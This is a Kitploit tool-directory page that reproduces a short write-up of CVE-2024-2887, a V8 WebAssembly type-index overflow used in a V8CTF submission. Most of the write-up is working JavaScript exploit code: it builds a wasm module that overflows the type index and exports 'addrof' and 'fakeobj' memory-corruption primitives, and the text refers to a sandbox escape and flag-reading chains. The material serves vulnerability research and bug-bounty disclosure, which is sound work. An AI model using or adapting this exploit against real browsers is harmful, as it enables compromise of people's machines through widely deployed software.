Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-2887 — For V8CTF M123 | Kitploit
Tools/GitHubGitHub/rycbar77/cve-2024-2887
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationCTFBinary Exploitation
GitHubrycbar77/cve-2024-2887

CVE-2024-2887

For V8CTF M123

View Repository
18442 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-2887

This is a short writeup for the CVE-2024-2887, which I used to claim V8CTF M123.

When define more types than kV8MaxWasmTypes, which can be achieved by padding more types in RecGroup, the types index can be more than 20bits and then overflowed. Then two types can be considered same as they have the same heap_type.

We can achieve addrof primitive by creating a array with ref objects and read through float64 array and fakeobj primitive by creating a float64 array and read it as object.

The builder of wasm module show as below:

root@kitploit:~
const builder = new WasmModuleBuilder();

let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
  for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
    builder.addType(makeSig([], []));
  builder.startRecGroup();
  for (var i = 0; i < o_cnt + 1; i++)
    builder.addType(makeSig([], []));
  builder.endRecGroup();
  for (var i = 0; i < o_cnt - 1; i++)
    builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);

overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);

builder.addFunction("addrof", typeId).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(2),
    kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, arr,
    kExprRefFunc, importId,
    kExprCallRef, typeId1,
]);

builder.addFunction("fakeobj", typeId1).exportFunc()
  .addLocals(wasmRefNullType(kWasmArrayRef), 1)
  .addBody([
    kExprLocalGet, 0,
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNew, arr,
    ...wasmI32Const(0),
    kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
    kExprRefFunc, importId2,
    kExprCallRef, typeId,
]);

For sandbox bypasses, see V8-Sandbox-Escape-via-Regexp. The final exploit uses normal orw chains to write the flag through stderr.

Download Tool